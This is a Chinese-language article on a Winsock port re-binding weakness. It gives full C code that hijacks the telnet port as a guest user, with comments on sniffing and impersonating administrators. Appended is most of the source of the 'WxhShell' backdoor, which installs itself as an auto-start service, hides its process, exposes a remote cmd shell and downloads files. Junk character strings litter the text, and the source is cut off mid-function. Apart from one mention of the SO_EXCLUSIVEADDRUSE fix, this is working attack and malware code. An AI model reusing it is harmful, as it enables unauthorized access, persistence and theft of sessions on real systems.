在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
UD<^r]'x s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
x;FO|fH /;nO<X:XV saddr.sin_family = AF_INET;
N~}v:rK>g V\K
m% vP saddr.sin_addr.s_addr = htonl(INADDR_ANY);
;D"P9b]9$ s$>m0^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:+
9Ft> 8U2wH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
,eeL5V +%}5{lu_e 这意味着什么?意味着可以进行如下的攻击:
B N*,!fx 3cfZ!E~^kc 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
CESe}^)n Wytvs*\` 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
EkStb# 3]`qnSYBv 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
!|<f%UO *K jVPs 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
pmW6~%}* _X%6 +0M
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
H"FflmUO I"cQ5gF?A 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
x-V' 0-#U> lv\F+?]a 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+?j?|G ADyNNMcx #include
Tt <-<oyU. #include
_WDBG #include
0J:U\S #include
<[3lV)~t DWORD WINAPI ClientThread(LPVOID lpParam);
UQ$\
an' int main()
;%rs{XO9 {
TFJ{fLG WORD wVersionRequested;
oj^5G
]_< DWORD ret;
KSgQ:_u4} WSADATA wsaData;
X[~f:E[1J BOOL val;
*]:G7SW{ SOCKADDR_IN saddr;
+A'q#~yILa SOCKADDR_IN scaddr;
Jl}!CE@- int err;
|,a%z-l SOCKET s;
LTYuxZ SOCKET sc;
il IV}8 int caddsize;
!QQ<Ai!E HANDLE mt;
k\Z;Cmh> DWORD tid;
neB.Wu~WH wVersionRequested = MAKEWORD( 2, 2 );
+2V%'{: err = WSAStartup( wVersionRequested, &wsaData );
\}u7T[R=` if ( err != 0 ) {
Owh*KY: printf("error!WSAStartup failed!\n");
igRDt{} return -1;
^i`3cCFB< }
E2q B: saddr.sin_family = AF_INET;
z6FbM^;; {m+S{dWp //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
"]SJbuzh gQI(=in saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
tv@Z5 saddr.sin_port = htons(23);
DV7<n&P if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3Y1TQ;i,wQ {
c<+g|@A# printf("error!socket failed!\n");
zfP[1 return -1;
4uO
@`0:x }
2[8fFo> val = TRUE;
de=5=>P7 //SO_REUSEADDR选项就是可以实现端口重绑定的
U5On-T5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
=0PNHO\gl {
^B<PD] printf("error!setsockopt failed!\n");
=0C l return -1;
q*F~~J!P }
]} 5I>l //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
++T
"+p //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
q#Yg0w~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
>%n8W>^^4 -~(0O if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
gfdPx:7^ {
t3
uB ret=GetLastError();
e-%7F]e printf("error!bind failed!\n");
k lP{yxU'n return -1;
45r]wT(C
}
-+
]T77r listen(s,2);
jlRl2 #" while(1)
,yHzo {
pjX%LsX\ caddsize = sizeof(scaddr);
u
n?j //接受连接请求
1kvPiV=X> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
dt-Qu},8- if(sc!=INVALID_SOCKET)
0^<Skm27" {
~!3t8Hx6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
[0% yJH if(mt==NULL)
NSMjr_ {
@b::6n/u printf("Thread Creat Failed!\n");
OQytgXED break;
Edf=?K+\!i }
g33<qYxP }
XI%RneuDr: CloseHandle(mt);
+X* F<6mZ }
' D)1ka. closesocket(s);
K)Df}fVOc WSACleanup();
CU#L *kz return 0;
o ;[C(OS }
(B>yaM#5 DWORD WINAPI ClientThread(LPVOID lpParam)
%Lh-aP{[e {
Hl^aUp.c SOCKET ss = (SOCKET)lpParam;
i$`|Y* SOCKET sc;
?VMi!-POE unsigned char buf[4096];
mC*W2#1pF SOCKADDR_IN saddr;
26\HV long num;
p<of<YU) DWORD val;
]Wy^VcqX DWORD ret;
[ -9)T //如果是隐藏端口应用的话,可以在此处加一些判断
V9 +xL 1U# //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=Q/w% 8G saddr.sin_family = AF_INET;
CbTf"pl saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Qag|nLoT saddr.sin_port = htons(23);
;x!,g5q"q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Z-4K?;g'k {
X;s3y{ku printf("error!socket failed!\n");
t/v@vJ`vSH return -1;
nu4Pc }
otWo^CE$ val = 100;
a^RZsR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
U=haXx4N {
92P,:2`a ret = GetLastError();
3n.+_ jQ>s return -1;
th.M.jas }
k1^V?O if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>VRo|o<D {
ax-=n ( ret = GetLastError();
^;V}l?J_s return -1;
QE7+rBa }
0=N4O!X9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
vbr~<JT= {
'P@=/ printf("error!socket connect failed!\n");
ucQezmie closesocket(sc);
K:}h\ In closesocket(ss);
(A7T}znG return -1;
*)j@G: }
(/T+Wpy? while(1)
XoDJzrL# {
L/qZ ; { //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
tpv?`(DDU //如果是嗅探内容的话,可以再此处进行内容分析和记录
oS[W*\7'! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[TRGIGtq num = recv(ss,buf,4096,0);
Bv;I0i:_
if(num>0)
|x1$b7 send(sc,buf,num,0);
QDIsC else if(num==0)
xT{TVHdU break;
'4af
], num = recv(sc,buf,4096,0);
}U2[? if(num>0)
.LX?VD send(ss,buf,num,0);
PRMZfYc else if(num==0)
21.YO]Et break;
!&@2 }
1P5*wNF closesocket(ss);
~ GNyE*t/Y closesocket(sc);
GYFgEg} return 0 ;
k
TF z_*6. }
B"~U<6s0 PLO\L W o&CghF ==========================================================
b cC\ l9]o\JFXk 下边附上一个代码,,WXhSHELL
*Zc9yZl2 Rb{+Ki ==========================================================
5/Ydv
RB67 *
zd. #include "stdafx.h"
V^j3y`K 2;&mkcK' #include <stdio.h>
?2H{^\<(e #include <string.h>
613/K`o #include <windows.h>
{]+ jL1 #include <winsock2.h>
\V._Z>] #include <winsvc.h>
9 1BY]N #include <urlmon.h>
`ffj8U Z$Z`@&U= #pragma comment (lib, "Ws2_32.lib")
2}D,df'W4 #pragma comment (lib, "urlmon.lib")
].LJt['%8 f&K}IM8& # #define MAX_USER 100 // 最大客户端连接数
Us1@\|] #define BUF_SOCK 200 // sock buffer
!.9l4@z# #define KEY_BUFF 255 // 输入 buffer
5r'=O2AZX Sq?,C&LsA #define REBOOT 0 // 重启
EJO.'vQ #define SHUTDOWN 1 // 关机
4;?1Kb# ?A|zRj{ #define DEF_PORT 5000 // 监听端口
<MRC%!. G?>qd}]y0L #define REG_LEN 16 // 注册表键长度
K3Huu!Tr #define SVC_LEN 80 // NT服务名长度
[0K=I64
z 7}gA0fP9 // 从dll定义API
!>\9t9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
;F|jG}M" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
x<8\- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;9K[~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
IoQr+:_R ggMUdlU // wxhshell配置信息
&Y 'z?N struct WSCFG {
AlUJ1^o) int ws_port; // 监听端口
ri,2clp char ws_passstr[REG_LEN]; // 口令
Xe)Pg)J1 int ws_autoins; // 安装标记, 1=yes 0=no
r~I.F!{ char ws_regname[REG_LEN]; // 注册表键名
RvWFF^, . char ws_svcname[REG_LEN]; // 服务名
L%f-L.9`u char ws_svcdisp[SVC_LEN]; // 服务显示名
,KT<4 char ws_svcdesc[SVC_LEN]; // 服务描述信息
6tX.(/+L char ws_passmsg[SVC_LEN]; // 密码输入提示信息
QI.t&sCh5 int ws_downexe; // 下载执行标记, 1=yes 0=no
I`lDWL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[S%J*sz~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
HP#ki !' 9 _eS`,' };
=+`D E`~i-kf // default Wxhshell configuration
ma3Qi/ struct WSCFG wscfg={DEF_PORT,
O!o <P5X^ "xuhuanlingzhe",
:#qUMiu$ 1,
r|M'TA~: "Wxhshell",
ohtT
O]\ "Wxhshell",
D^$]>-^ "WxhShell Service",
S=4R5igrC "Wrsky Windows CmdShell Service",
V_jiOT! "Please Input Your Password: ",
+5#x6[ 1,
!TGr .R "
http://www.wrsky.com/wxhshell.exe",
P?xA$_+ "Wxhshell.exe"
6F,/w: };
Q^nG0<q+ jn~!V!++ // 消息定义模块
" l.!Ed char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Kf|0*c char *msg_ws_prompt="\n\r? for help\n\r#>";
(s&ORoVGn char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
g083J}08 char *msg_ws_ext="\n\rExit.";
^mAJ[^% char *msg_ws_end="\n\rQuit.";
Q
Qi@>v|d char *msg_ws_boot="\n\rReboot...";
Vw7WK char *msg_ws_poff="\n\rShutdown...";
O
/vWd" char *msg_ws_down="\n\rSave to ";
%,XI]+d ^+EMZFjg( char *msg_ws_err="\n\rErr!";
g2A"1w<-AH char *msg_ws_ok="\n\rOK!";
m.!wsw >cTjA): char ExeFile[MAX_PATH];
R^uc%onP int nUser = 0;
\`
&ej{ HANDLE handles[MAX_USER];
Bf/|{@ int OsIsNt;
gUspGsfr N_0pO<<cs SERVICE_STATUS serviceStatus;
::ri3Tu SERVICE_STATUS_HANDLE hServiceStatusHandle;
O6/xPeak c+H)ed> // 函数声明
wBLsz/ int Install(void);
ZH!;z-R int Uninstall(void);
sLNNcj(Cy> int DownloadFile(char *sURL, SOCKET wsh);
Y4`QK+~fH int Boot(int flag);
V>AS%lXj void HideProc(void);
JfSdUWxT int GetOsVer(void);
{b[tA,
> int Wxhshell(SOCKET wsl);
hw*1g m void TalkWithClient(void *cs);
ghX:"vV{n int CmdShell(SOCKET sock);
*G\=i
A int StartFromService(void);
E3bwyK!s int StartWxhshell(LPSTR lpCmdLine);
X`D+jiQ(f p x0Sy| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Nvhy3 VOID WINAPI NTServiceHandler( DWORD fdwControl );
=88t*dH(," 3Mur*tj# // 数据结构和表定义
ERp{gB2U? SERVICE_TABLE_ENTRY DispatchTable[] =
w?*jdwh,' {
^zHRSO {wscfg.ws_svcname, NTServiceMain},
CGkI\E {NULL, NULL}
'P,,<nkr| };
?/)lnj)e{ u|T%Xy=LU // 自我安装
Fk aXA.JE int Install(void)
v:?o3
S {
9Eu #lV char svExeFile[MAX_PATH];
sLZ>v HKEY key;
6A.P6DW strcpy(svExeFile,ExeFile);
{79qtq%W{ *O5: // 如果是win9x系统,修改注册表设为自启动
l!/!?^8|f if(!OsIsNt) {
>GmN~"iJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
QTfu: m{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RvR:e| RegCloseKey(key);
d[S#Duz<& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%Sul4: D# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Nkx0CG* RegCloseKey(key);
'Wtf>` return 0;
I
ld7}R }
g1ytT%] }
,&[7u9@ }
CB6 o$U else {
TqAtcAurM (U _wp's // 如果是NT以上系统,安装为系统服务
qv$!\ T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
H }B2A" if (schSCManager!=0)
Jl_~_Z {
r,Ds[s)B SC_HANDLE schService = CreateService
v~f'K3fLp (
<&6u]uKrW schSCManager,
D,E$_0 wscfg.ws_svcname,
4QO/ff[ o wscfg.ws_svcdisp,
$e*B:}x} SERVICE_ALL_ACCESS,
9{$8\E9*nd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
(uRZxX SERVICE_AUTO_START,
"Tv:*L5 SERVICE_ERROR_NORMAL,
`[OXVs,7" svExeFile,
W"|mpxp NULL,
8?kP*tmcZ NULL,
j3{HkcjJG NULL,
mTJ"l(,3 NULL,
jFG5)t<D NULL
EavX8r );
S*xhX1yUi if (schService!=0)
X>{p}vtvf> {
R5gado CloseServiceHandle(schService);
dl_{iMhF&E CloseServiceHandle(schSCManager);
u0g*O]Y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%Lyz_2q A strcat(svExeFile,wscfg.ws_svcname);
1|]xo3j"' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
dqxd3,Z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
[g`, AmR\! RegCloseKey(key);
7=vYO|a/4 return 0;
W_%W%i| }
^4 8\>-Q\ }
7OE[RX8!f CloseServiceHandle(schSCManager);
wA631kr }
VXwPdMy*L }
ogJ<e_m nPOO3!<{ return 1;
3}j1RYtz }
Za0gs @$ St2Q7K5s{ // 自我卸载
0E1=W6UZ int Uninstall(void)
~{P:sjsU {
rd"
&QB{ HKEY key;
@701S(0'7 {"jd_b& if(!OsIsNt) {
gApz:K[l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FQ!Oxlq,Q RegDeleteValue(key,wscfg.ws_regname);
8kS~ENe?o RegCloseKey(key);
sl^n6N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@mNJ=mEV RegDeleteValue(key,wscfg.ws_regname);
9x[ U$B RegCloseKey(key);
+6oG@ return 0;
jq[x DwPG }
y1#O%=g }
R*\~k%Z }
r:NH6tAL else {
'in@9XO Z%e|*GS{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
5
q65nF if (schSCManager!=0)
>C# kqxfg {
cQn)^jx= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
[@|be.g if (schService!=0)
{xToz]YA {
Ye@t_,)x if(DeleteService(schService)!=0) {
n,sY\=vB CloseServiceHandle(schService);
`m, Ki69. CloseServiceHandle(schSCManager);
N+J>7_k return 0;
HCazwX }
nE7JLtbH CloseServiceHandle(schService);
SOj`Y|6^: }
X4'kZ'Sy< CloseServiceHandle(schSCManager);
OXCQfT@\ }
iadkH]w }
Z2bUs!0 R8 jovr return 1;
v?)SA]; }
r[!(?%>j ?:/|d\,7@ // 从指定url下载文件
jA<T p}$! int DownloadFile(char *sURL, SOCKET wsh)
n_9x"m$ {
F@EJtwLd5y HRESULT hr;
Yf=FeH7" char seps[]= "/";
h)@InYwu7 char *token;
J=9 #mOcg" char *file;
n`.#59-Hx char myURL[MAX_PATH];
s i?HkJv5 char myFILE[MAX_PATH];
W>/UBN3 o\goE^,aeR strcpy(myURL,sURL);
5r7h=[N token=strtok(myURL,seps);
$H;+}VQ while(token!=NULL)
KoF
iQ? {
vYdlSe=6G file=token;
L
{qJ-ln: token=strtok(NULL,seps);
H;y}-=J+ }
!.-.#<<_a )8'jxiGs GetCurrentDirectory(MAX_PATH,myFILE);
4|f}F strcat(myFILE, "\\");
`)tA
YH strcat(myFILE, file);
jI0]LD1k send(wsh,myFILE,strlen(myFILE),0);
Ag6uR(uI send(wsh,"...",3,0);
uLK(F
B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
z mbZ if(hr==S_OK)
tN2 W8d return 0;
LwQH6 !;[ else
yC"Zoa6YZ return 1;
9^\hmpP@D N"1QX6 }
Q.ukY@L.' 4U{m7[ // 系统电源模块
+*.1}r& int Boot(int flag)
0Cq!\nzz {
d1bhJK HANDLE hToken;
w+=Q6]FxJ TOKEN_PRIVILEGES tkp;
[b;Uz|o 8t[t{" if(OsIsNt) {
d.cCbr: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
C0<YH " LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
U&Ab#m; tkp.PrivilegeCount = 1;
*~;8N|4< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
:\bfGSD/gd AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
{:)vwUe{ if(flag==REBOOT) {
3]`mQm E if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
lD3)TAW@o return 0;
_z]v<,=3M }
2kJ!E@n7 else {
u>o<tw%Y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
WsB3SFNG return 0;
^1VbH3M }
e1uMR-Q }
Pb4q`! else {
&I)\*Ue2t if(flag==REBOOT) {
I.a0[E/, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
RJPcn)@l return 0;
H+`*Y<F@ }
j ug'g else {
j+Zt.KXjT if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%)JRbX<c return 0;
Nf5WQTa4 }
GoD ?K C }
4E'|.tt( "K
?#,_ return 1;
n$W"=Z;` }
jsdBd2Gdc 2d~LNy // win9x进程隐藏模块
F.0d4:A+ void HideProc(void)
O<`,,^4w/ {
=G>.-Qfs q^]tyU!w HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Q!]IG;3Sx| if ( hKernel != NULL )
fYn{QS? {
QS;F+cmTh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
B{PLIisc ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
9P0yv3 FreeLibrary(hKernel);
Pgev) rh[ }
/RqhykgZ l5HWZs^ return;
HlRAD|]\ }
oLP]N$'# >h%\HMKk // 获取操作系统版本
`p1DaV int GetOsVer(void)
:x+ig5 {
<m1sSghg OSVERSIONINFO winfo;
e?=elN winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
p%8v` GetVersionEx(&winfo);
!sG"n&uZq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
v:A:37#I return 1;
qguVaV4Y else
-#%X3F7/w return 0;
PGY9*0n }
M')bHB(~v I%i:)6Un-y // 客户端句柄模块
j6og3.H- int Wxhshell(SOCKET wsl)
PY-+ Bf {
1LyT7h SOCKET wsh;
@'HT;Q!\Vd struct sockaddr_in client;
xE1rxPuq)d DWORD myID;
k(v"B@0
uS-3\$ while(nUser<MAX_USER)
6F-JK1i {
J[r^T&o int nSize=sizeof(client);
<A{y($ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
pns+y if(wsh==INVALID_SOCKET) return 1;
E*^9|Y[ SUc6/'Rdr handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
`Hd9\;NJ if(handles[nUser]==0)
]ViOr8u closesocket(wsh);
iD`k"\>9 else
HL8(lPgS nUser++;
h>|u:]I> }
]v GgJ< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
@?d?e+B [ro t return 0;
|!xpYT: }
\gd6Yx^[ 3&9zGy{V+ // 关闭 socket
RpAiU void CloseIt(SOCKET wsh)
C
Oa.xyp {
^Xa*lR 3 closesocket(wsh);
O%VA)< nUser--;
'z-D%sCA ExitThread(0);
'%ebcL }
Efvq?cG& ~?-qZ<9/ // 客户端请求句柄
ctK65h{Eo void TalkWithClient(void *cs)
6e/7'TYwT {
8sWr\&! yl]UUBcQ SOCKET wsh=(SOCKET)cs;
#]X2^ND47 char pwd[SVC_LEN];
sbA2W~: char cmd[KEY_BUFF];
D2)i3vFB char chr[1];
_ .!aBy%xf int i,j;
.<dOED{v /sV?JV[t while (nUser < MAX_USER) {
@`Wt4< 6W:1>,xS if(wscfg.ws_passstr) {
#!L%J<MX if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(JU_8j! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
W]@6=OpH //ZeroMemory(pwd,KEY_BUFF);
)^";BVY i=0;
(M8hy4Ex while(i<SVC_LEN) {
B5
&YL Br&^09S // 设置超时
T*R{L fd_set FdRead;
sxk*$jO[] struct timeval TimeOut;
uR^. FD_ZERO(&FdRead);
*.3y2m,bZ FD_SET(wsh,&FdRead);
7O9n!aJ TimeOut.tv_sec=8;
;b| TimeOut.tv_usec=0;
'{CWanTPi int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
`{<JC{yc? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[n!x&f8Xh m\ ?\6Wk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
N;g$)zCV1 pwd
=chr[0]; 'QnW9EHLF
if(chr[0]==0xd || chr[0]==0xa) { |e+aZ%g
pwd=0; CdNih8uG
break; ^6#-yDZC@
} . wmkj
i++; jNIUsM8e
} j6}$+!E
r*]uR /Z$
// 如果是非法用户,关闭 socket 8
#Fh>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vU{jda$$#
} _6LH"o3
d
"B5==0I
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 716hpj#*
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OiF ]_"
RJLFj
while(1) { A-;^~I
^F&A6{9f/h
ZeroMemory(cmd,KEY_BUFF); Op90NZI#K
);!dg\U
// 自动支持客户端 telnet标准 `^zQ$au'u
j=0; FTbtAlqh<
while(j<KEY_BUFF) { 4]]b1^vVj
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y!aLf[x]
cmd[j]=chr[0]; 7g8B'ex J
if(chr[0]==0xa || chr[0]==0xd) { aTX]+tBoe
cmd[j]=0; t%:G|n Sz
break; #.b^E3#+
} $^ubo5%
j++; "&}mAWT%If
} g&XhQ.aa
UFL0 K
// 下载文件 c<>y!^g
if(strstr(cmd,"http://")) { ~n8F7
send(wsh,msg_ws_down,strlen(msg_ws_down),0); VD9J}bgJ
if(DownloadFile(cmd,wsh)) 1P \up
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,;c{9H
else 4[Z1r~t\L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QY@nE
} Q+lbN
else { ;NBT 4
7fUi?41XA
switch(cmd[0]) { I IYL A(
AsD1-$
// 帮助 $=lJG(2%
case '?': { "`[ $&:~
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O8iu+}]/6
break; `P#8(GU
} dbg|VoNf
// 安装 tgc@7
case 'i': { ea>[BB3#
if(Install()) wD}EW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _m" ^lo
else 4sI3(z)9H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x)d2G6x
break; |KTpK(6p
} nwhm[AaNs
// 卸载 FRc |D
case 'r': { y.
Tct.
if(Uninstall()) > e;]mU`,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aam1tm#Q
else -}NAb^d
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [O [FCn
break; '8L(f w{k
} !\3}R25
// 显示 wxhshell 所在路径 Qf"6PJ
case 'p': { s!NisF
char svExeFile[MAX_PATH]; `I@)<d
strcpy(svExeFile,"\n\r"); {rs6"X^
strcat(svExeFile,ExeFile); JE/l#Q!
send(wsh,svExeFile,strlen(svExeFile),0); O3!Ouh&
break; #%;<FFu\
} gW/QFZjY
// 重启 #wGQv
case 'b': { m)(SG
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %+D-y+hn
if(Boot(REBOOT)) *1R##9\jU7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _T_PX$B
else { -`,~9y;tx
closesocket(wsh); C:WtCAm(
ExitThread(0); >aX:gN
} 3KDu!w@
break; >t2]Ssi(
} {6-;P#Q0_
// 关机 |+>%o.M&i
case 'd': { Z#srQD3].(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $,p.=j;P
if(Boot(SHUTDOWN)) Hf!9`R[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b,=,px
else { iXt4|0
closesocket(wsh); xU#]w6
ExitThread(0); z<FV1niE
} /QV [N
break; 'O!Z:-qE
} X}_QZO=z
// 获取shell 8}ii3P y
case 's': { p)K9ZI
CmdShell(wsh); D!81(}p
closesocket(wsh); h9,wiT
ExitThread(0); l2z`<2mp
break; /e;e\k_}'
} BDarJY
// 退出 `;zu1o
case 'x': { eTLI/?|+N
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mrhsKmH
CloseIt(wsh); 2<p5_4"-U*
break; FSI]k:
} ^yzo!`)fso
// 离开 a*pXrp@
case 'q': { !"Z."fm*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); MoC*tImWR
closesocket(wsh); >u'/$k
WSACleanup(); >#Grf)@"6
exit(1); &':UlzG
break; /zChdjz
} t;Fbt("]:
} COxZ
Q
} @n5;|`)\
*[XN.sb8E
// 提示信息 GapX$Jb,p
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zav*
} TmRrub
} 'LtgA|c=
Ek gZxT_&
return; Pu/-Qpqh
} ~(Ih~/5\^
yVu^
>
// shell模块句柄 PV5TG39qQ
int CmdShell(SOCKET sock) 3fbD"gL
{ 3n}sCEt=
STARTUPINFO si; WHhR)$zC
ZeroMemory(&si,sizeof(si)); mcAH1k e
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o|b[(t$;O
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "@UU[o
PROCESS_INFORMATION ProcessInfo; (ffOu#RQ3
char cmdline[]="cmd"; 9RCB$Ka6X
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q?e16M
return 0; o O{|C&A
} )<H
91:.
's56L,^:
// 自身启动模式 1I:"0("}
int StartFromService(void) ZmYa.4'L
{ 4iL.4Uj{N
typedef struct F3H:I"4
{ _oMs
`"4K
DWORD ExitStatus; 5JXzfc9rL
DWORD PebBaseAddress; u"Hd55"&
DWORD AffinityMask; /
y":/"h
